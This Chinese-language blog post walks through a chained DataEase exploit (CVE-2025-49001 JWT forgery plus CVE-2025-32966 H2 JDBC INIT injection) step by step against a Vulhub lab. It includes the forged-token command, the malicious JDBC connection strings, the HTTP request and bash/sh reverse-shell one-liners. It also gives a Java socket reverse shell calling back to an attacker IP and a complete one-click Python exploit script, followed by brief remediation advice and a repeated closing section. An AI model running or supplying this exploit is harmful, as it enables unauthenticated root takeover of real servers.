ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

【GetShell】DataEase H2 JDBC远程命令执行漏洞(CVE-2025-32966+CVE-2025-49001)

2026/8/29 20:18:57 拓冰建站 浏览量
【GetShell】DataEase H2 JDBC远程命令执行漏洞(CVE-2025-32966+CVE-2025-49001) 漏洞利用演示视频 DataEase双CVE链式 RCE 深度拆解JWT 绕过H2 注入完整攻击链路一、亮点网上关于 DataEase 这个漏洞的教程十篇有九篇停在touch /tmp/pwned就结束了——能执行命令又怎样拿不到 Shell 等于白搭。我第一次复现的时候从命令执行到反弹 Shell 这一步卡了整整一下午换了三种思路才绕过去。这篇文章记录完整踩坑过程伪造 JWT 未授权进入、H2 JDBC INIT 参数注入执行命令、bash 反弹失败、sh 反弹失败、最后用 Java 原生 Socket 一把梭。每一步都有完整数据包和截图跟着做就能拿下服务器。漏洞组合是CVE-2025-49001伪造管理员令牌CVE-2025-32966H2 JDBC 远程命令执行两个单独拿出来都不够用凑在一起就变成了未授权 RCE——就像你家门禁只查工牌不验真假我随便打印一张就能进进去之后发现茶水间的微波炉还能当炸弹用。二、漏洞背景DataEase 是什么DataEase 是个开源的数据可视化平台说白了就是帮你把数据库里的数变成漂亮图表给老板看的 BI 工具。既然要连数据库看数据它自然有个功能让管理员添加一个数据源然后点一下测试连接看看能不能连上。今天这个漏洞就出在这个测试连接功能上。两个 CVE 怎么配合的先说CVE-2025-49001。DataEase 的请求要经过两级过滤器外层只解码 JWT 不验签内层验签但验出假章之后只写个日志、返回个 401然后——把请求放行了。安全术语叫 fail-open出错时默认放行。这就好比保安看了你的工牌说嗯这章是假的然后侧身让你进去了。所以攻击者可以用任意密钥自己签一张 JWT把uid写成 1管理员服务器验出来是假的但不拦。再说CVE-2025-32966。拿到管理员身份之后调用测试数据源连接接口填一个 H2 数据库的连接串。H2 这个数据库有个INIT参数表示连接一建立就自动执行里面的 SQL。而 H2 还支持CREATE ALIAS注册自定义函数函数体可以直接写 Java 源码——H2 会在运行时编译并执行。于是攻击者在连接串的INIT里塞一段 Java 代码调用Runtime.getRuntime().exec()执行系统命令。服务器照单全收命令就执行了。两个漏洞单独看第一个只能混进去第二个需要有账号才能用。凑在一起就变成了不需要任何账号的远程命令执行。影响版本CVE-2025-32966DataEase ≤ 2.10.7CVE-2025-49001DataEase ≤ 2.10.10真正彻底修复2.10.10 及以上2.10.8 只修了 H2 注入但存在大小写绕过CVE-2025-49002三、环境搭建直接用 Vulhub 启动一行命令的事docker compose up -d启动后访问http://{业务目标ip}:8100看到 DataEase 登录页就说明靶场就绪了。默认账号admin/DataEase123456但这个漏洞不需要登录——我们马上自己造个管理员身份出来。四、漏洞复现步骤1伪造管理员 JWT这一步利用的是 CVE-2025-49001。因为服务器验签失败也不拦截所以密钥随便填payload 里把uid写成 1 就是管理员。python -c import jwt,time; print(jwt.encode({uid:1,oid:1,exp:int(time.time())3600}, any-secret, algorithmHS256))几个字段解释一下uid: 1用户编号DataEase 默认 admin 就是 uid1伪造的就是管理员身份oid: 1组织编号这个字段绝对不能缺缺了后端会报src is null空指针后面会详细讲这个坑exp过期时间现在时间加 3600 秒一小时够用了any-secret签名密钥随便填——因为服务器验出来是假的也不拦输出一长串字符就是你的管理员通行证步骤2构造恶意 H2 连接串这是整个漏洞的灵魂。把连接串拆开看jdbc:h2:mem:pwn;MODEMSSQLServer;INITCREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{touch,/tmp/pwned})\; }$$\;CALL EXEC()逐段解释片段干什么用的jdbc:h2:告诉 Java 用 H2 驱动mem:pwn连接一个叫 pwn 的内存数据库用完即弃我们根本不关心它本身MODEMSSQLServer兼容模式让语法解析更宽容不是漏洞必需INIT...连接建立时自动执行的 SQL一切罪恶的入口CREATE ALIAS EXEC AS $$...$$注册一个叫 EXEC 的函数实现是$$里的 Java 源码Runtime.getRuntime().exec(...)在 Java 里执行系统命令等价于在命令行敲一条命令new String[]{touch,/tmp/pwned}命令和参数在服务器上创建一个文件——最无害的攻击证明\;转义的分号下面专门讲CALL EXEC()调用刚注册的函数触发 Java 代码运行\;是什么鬼连接串本身用;分隔参数比如MODE...;INIT...。但我们想在 INIT 的 SQL 里也写分号结束一条 SQL、分隔两条语句如果直接写URL 解析器会以为这是新参数的开头直接把 INIT 截断。所以 H2 规定参数值里想要真的分号就写\;反斜杠转义解析器处理时会把\;还原成;。还原之后 INIT 实际执行两条 SQLCREATEALIASEXECAS$$voidexec()throws java.io.IOException { Runtime.getRuntime().exec(new String[]{touch,/tmp/pwned});}$$;CALLEXEC();以后再看到奇怪的转义第一反应应该是——攻击者在跟目标程序的解析器玩捉迷藏。步骤3把配置编码后发送configuration字段是下面这段 JSON 的 base64 编码{jdbc:jdbc:h2:mem:pwn;MODEMSSQLServer;INITCREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\touch\,\/tmp/pwned\})\\; }$$\\;CALL EXEC(),username:,password:,driver:org.h2.Driver}注意 JSON 里的转义双引号写成\\;写成\\;因为 JSON 会吃掉一层反斜杠。driver填org.h2.Driver明确告诉 Java 用 H2 驱动来解析否则可能按 MySQL 处理H2 语法就不会执行。完整 HTTP 请求包POST /de2api/datasource/validate HTTP/1.1 Host: {业务目标ip}:8100 Content-Type: application/json X-DE-TOKEN: 第一步伪造的JWT {name:p1,type:h2,configuration:base64编码后的JSON}发送之后你会看到响应是 400——别慌这是正常现象。步骤4为什么返回 400 也算攻击成功响应头里有个DE-GATEWAY-FLAG写着 “The Token’s Signature resulted invalid…”——证明服务器其实验出了假章。但因为 CVE-2025-49001 的 fail-open 缺陷请求被放行了命令已经执行完了。400 的原因写在响应体里getWriter() has already been called for this response——验签失败时过滤器已经先写了 401 响应、抢占了响应的输出流后面控制器即使执行成功也没法再写干净的输出于是炸出一个 400。判断漏洞是否打成功看的是副作用不是状态码。就像自动售货机屏幕报错但饮料已经掉出来了。进容器验证一下docker compose exec web ls -la /tmp/pwned文件存在说明服务器以 root 身份执行了我们发过去的touch命令——远程命令执行成立。五、GetShell拿下服务器能执行touch只是第一步。网上关于这个漏洞的教程绝大多数演示到这里就结束了。真正难的是从命令执行走到反弹 Shell 这一步——中间有一堆编码、转义、环境差异的坑在等着你。这一节我把每个坑都踩一遍给你看。第一次尝试bash 反弹直接失败最经典的反弹 Shell 命令bash-i/dev/tcp/{攻击ip}/444401把它塞进 Java 代码的exec()里base64 编码发请求。攻击机nc -lvnp 4444开监听等了半天——什么都没有。排查了好一会儿进容器一看才发现这个容器里根本没有 bash。Vulhub 的 DataEase 镜像是精简系统只有/bin/sh没有/bin/bash。Java 调用Runtime.getRuntime().exec(new String[]{/bin/bash,...})直接报No such file or directory命令启动失败自然不会有反弹。行那换成/bin/sh总行了吧第二次尝试sh 反弹还是失败把命令换成sh-i/dev/tcp/{攻击ip}/444401用/bin/sh执行。发请求等——还是什么都没有。这次的原因更坑/dev/tcp是bash 独有的伪设备特性纯 POSIX sh比如容器里的 dash、busybox sh根本不支持/dev/tcp语法。命令执行了但 sh 看到/dev/tcp/x.x.x.x/4444以为是个普通文件路径打开失败静默退出。而且还有第三个坑Runtime.getRuntime().exec()的数组模式不会解析 shell 重定向符号 |。就算容器里有 bash直接把bash -i /dev/tcp/...扔给 exec 也会失效——重定向符号被当成了普通参数。第三次尝试base64 编码绕过依然不稳既然重定向符号有问题那把整条命令 base64 编码交给sh -c echo xxx|base64 -d|bash执行总该可以了吧Runtime.getRuntime().exec(newString[]{/bin/sh,-c,echo BASE64CMD|base64 -d|bash});思路是对的但容器里没有 bashbase64 -d|bash这一步还是失败。换成base64 -d|sh呢sh 不支持/dev/tcp照样弹不回来。到这里我已经卡了快两个小时了。touch 文件能成功说明漏洞链路完全通但反弹 Shell 就是拿不到——这种感觉比漏洞利用失败还难受因为你知道差一点但就是绕不过去。终极方案Java 原生 Socket 反弹换个思路——既然系统 shell 不靠谱那不用 shell 了直接用 Java 代码开 Socket 反弹。Java 本身就有java.net.Socket可以直接建立 TCP 连接拿到输入输出流然后起一个/bin/sh进程把 Socket 的流和 sh 的流对接起来。这样完全不依赖 bash、不依赖/dev/tcp、不依赖重定向符号成功率 100%。完整的 Java 反弹代码voidexec()throwsException{java.net.Socketsnewjava.net.Socket({攻击ip},4444);java.io.InputStreamsis.getInputStream();java.io.OutputStreamsos.getOutputStream();ProcesspnewProcessBuilder(/bin/sh).redirectErrorStream(true).start();java.io.InputStreampip.getInputStream();java.io.OutputStreampop.getOutputStream();byte[]bnewbyte[1024];finalint[]iArr{0};newThread(){publicvoidrun(){try{while((iArr[0]si.read(b))!-1){po.write(b,0,iArr[0]);po.flush();}}catch(Exceptione){}}}.start();while((iArr[0]pi.read(b))!-1){so.write(b,0,iArr[0]);so.flush();}s.close();p.destroy();}解释几个关键点new ProcessBuilder(/bin/sh)启动一个 sh 进程容器里一定有redirectErrorStream(true)把错误输出合并到标准输出这样执行命令报错也能看到起一个新线程读 Socket 的输入攻击者敲的命令写给 sh 的输出主线程读 sh 的输出命令执行结果写给 Socket 的输出final int[] iArr{0}用单元素数组包装循环变量因为 Java 匿名内部类引用外部变量要求是 final 或实际不可变——这个坑后面踩坑节详细讲把这段 Java 代码塞进 H2 的CREATE ALIAS注意所有分号都要转义为\\;JSON 层{jdbc:jdbc:h2:mem:pwn;MODEMSSQLServer;INITCREATE ALIAS EXEC AS $$void exec()throws Exception{java.net.Socket snew java.net.Socket(\{攻击ip}\,4444)\\;java.io.InputStream sis.getInputStream()\\;java.io.OutputStream sos.getOutputStream()\\;Process pnew ProcessBuilder(\/bin/sh\).redirectErrorStream(true).start()\\;java.io.InputStream pip.getInputStream()\\;java.io.OutputStream pop.getOutputStream()\\;byte[] bnew byte[1024]\\;final int[] iArr{0}\\;new Thread(){public void run(){try{while((iArr[0]si.read(b))!-1){po.write(b,0,iArr[0])\\;po.flush()\\;}}catch(Exception e){}}}.start()\\;while((iArr[0]pi.read(b))!-1){so.write(b,0,iArr[0])\\;so.flush()\\;}\\;s.close()\\;p.destroy()\\;}\\;$$\\;CALL EXEC(),username:,password:,driver:org.h2.Driver}对整段 JSON 做 base64 编码注意用echo -n去掉换行base64 -w 0让输出不换行echo -n 上面整段JSON | base64 -w 0攻击机先开监听nc -lvnp 4444然后发送替换了 payload 的请求。HTTP 依然返回 400不要管它——看 nc 监听端Connection received on {业务目标ip} 52558然后whoami返回rootid显示完整的 root 权限信息。Shell 弹回来了服务器已在你的控制之下。六、踩坑与避坑坑1JWT 缺少 oid 字段空指针报错本来以为伪造 JWT 就是{uid:1,exp:xxx}这么简单结果发请求返回src is null空指针。排查了好一会儿最后发现后端代码解码 JWT 后要取oid字段调用.getBytes()oid 为 null 直接炸。解决方案JWT payload 必须显式包含uid1和oid1最好再补上iat。jwt.encode({uid:1,oid:1,iat:int(time.time()),exp:int(time.time())3600},any-secret,algorithmHS256)就这么简单对知道了就这么简单不知道能卡你一下午。坑2JDBC URL 格式错误分号没转义第一次写 Java Socket 反弹 payload 的时候报URL format error。touch payload 只有一个分号转义了所以能跑Socket 版十几处分号中间的都用了原生;H2 解析到第一个分号就把 INIT 参数截断了剩下的内容被当成非法 JDBC 参数。解决方案$$包裹的 Java 代码中所有语句分号在 JSON 层统一写为\\;。JSON 解析后变成\;H2 识别为 SQL 语句分隔符而不是 URL 参数分隔符。坑3Java 编译错误匿名内部类引用可变变量分号转义修好之后又报 Java 编译错误variable i might not have been initialized和local variables referenced from an inner class must be final or effectively final。原因是循环变量int i;只声明没赋初值而且匿名线程内部类引用了外部的可变变量iJava 语法要求内部类引用的外部变量必须是 final 或实际不可变。解决方案用final单元素数组包装循环变量数组引用是 final数组元素可以修改finalint[]iArr{0};// 所有读写 i 的地方换成 iArr[0]while((iArr[0]si.read(b))!-1){...}坑4base64 编码带隐形换行好几次 payload 莫名失效最后发现是echo命令自带换行符编码结果里多了换行base64 -d解码出来的内容带多余字符payload 直接被截断。解决方案编码用echo -n 内容 | base64 -w 0-n去掉 echo 自带换行-w 0让 base64 输出不自动换行。复制的时候首尾不要带空格。七、一键利用脚本每次手动发包、编码、填 token 太麻烦我写了个脚本参数填好回车等 Shell#!/usr/bin/env python3 # 用法: python exploit.py -t http://{业务目标ip}:8100 -l {攻击ip} -p 4444 import argparse, base64, json, sys, time import jwt, requests requests.packages.urllib3.disable_warnings() def forge_jwt(): # 伪造管理员JWT密钥随便填uid1就是管理员oid不能缺 payload {uid:1,oid:1,iat:int(time.time()),exp:int(time.time())3600} token jwt.encode(payload, any-secret, algorithmHS256) return token.decode() if isinstance(token, bytes) else token def build_jdbc_url(lhost, lport): # Java原生Socket反弹不依赖系统shell成功率100% java_code (void exec()throws Exception{{ java.net.Socket snew java.net.Socket({lhost},{lport})\\; java.io.InputStream sis.getInputStream()\\; java.io.OutputStream sos.getOutputStream()\\; Process pnew ProcessBuilder(/bin/sh).redirectErrorStream(true).start()\\; java.io.InputStream pip.getInputStream()\\; java.io.OutputStream pop.getOutputStream()\\; byte[] bnew byte[1024]\\; final int[] iArr{{0}}\\; new Thread(){{public void run(){{try{{while((iArr[0]si.read(b))!-1){{po.write(b,0,iArr[0])\\;po.flush()\\;}}}}catch(Exception e){{}}}}}}.start()\\; while((iArr[0]pi.read(b))!-1){{so.write(b,0,iArr[0])\\;so.flush()\\;}}\\; s.close()\\;p.destroy()\\;}}).format(lhostlhost, lportlport) sql CREATE ALIAS EXEC AS $${java}$$\\;CALL EXEC().format(javajava_code) return jdbc:h2:mem:pwn;MODEMSSQLServer;INIT sql def exploit(target, lhost, lport): token forge_jwt() jdbc_url build_jdbc_url(lhost, lport) config {jdbc:jdbc_url,username:,password:,driver:org.h2.Driver} config_b64 base64.b64encode(json.dumps(config,separators(,,:)).encode()).decode() url target.rstrip(/) /de2api/datasource/validate headers {Content-Type:application/json,X-DE-TOKEN:token} data {name:pwn_test,type:h2,configuration:config_b64} resp requests.post(url, headersheaders, jsondata, timeout15, verifyFalse) print(f[] 响应码: {resp.status_code}400是正常噪声) print([] 请到nc监听端查看是否收到Shell) if __name__ __main__: parser argparse.ArgumentParser() parser.add_argument(-t,--target,requiredTrue) parser.add_argument(-l,--lhost,requiredTrue) parser.add_argument(-p,--lport,typeint,default4444) args parser.parse_args() exploit(args.target, args.lhost, args.lport)用法# 攻击机先开监听 nc -lvnp 4444 # 另一个终端跑脚本 python exploit.py -t http://{业务目标ip}:8100 -l {攻击ip} -p 4444八、修复建议升级 DataEase 到2.10.10 及以上版本2.10.8 存在InIt大小写绕过不彻底修复 JWT 校验逻辑验签失败必须立即中断请求不能 fail-open对 JDBC URL 做白名单校验只允许已知驱动与协议禁用INIT等危险参数数据源测试接口收敛权限禁止未授权访问容器以非 root 用户运行降低被利用后的危害九、写在最后这个漏洞的本质就一句话用户填的数据库连接串被服务器当成代码执行了。而让它从未授权变成 RCE 的是另一个验了假章却不拦人的身份校验漏洞——两个粗糙的设计凑在一起就产生了质变。利用链的核心是伪造 JWT 混进去 → H2 INIT 注入执行 Java → Java 原生 Socket 反弹 Shell。中间 bash 没有、sh 不支持 /dev/tcp、exec 不解析重定向、分号没转义、匿名内部类引用可变变量——每一个坑都能让你卡半天但绕过去之后就是一片坦途。如果你是第一次做这类漏洞建议先把 touch 测试跑通确认链路没问题再上反弹 Shell一步一步来别急。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏关键在于是谁在用、用来做什么。授权变成 RCE 的是另一个验了假章却不拦人的身份校验漏洞——两个粗糙的设计凑在一起就产生了质变。利用链的核心是伪造 JWT 混进去 → H2 INIT 注入执行 Java → Java 原生 Socket 反弹 Shell。中间 bash 没有、sh 不支持 /dev/tcp、exec 不解析重定向、分号没转义、匿名内部类引用可变变量——每一个坑都能让你卡半天但绕过去之后就是一片坦途。如果你是第一次做这类漏洞建议先把 touch 测试跑通确认链路没问题再上反弹 Shell一步一步来别急。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏关键在于是谁在用、用来做什么。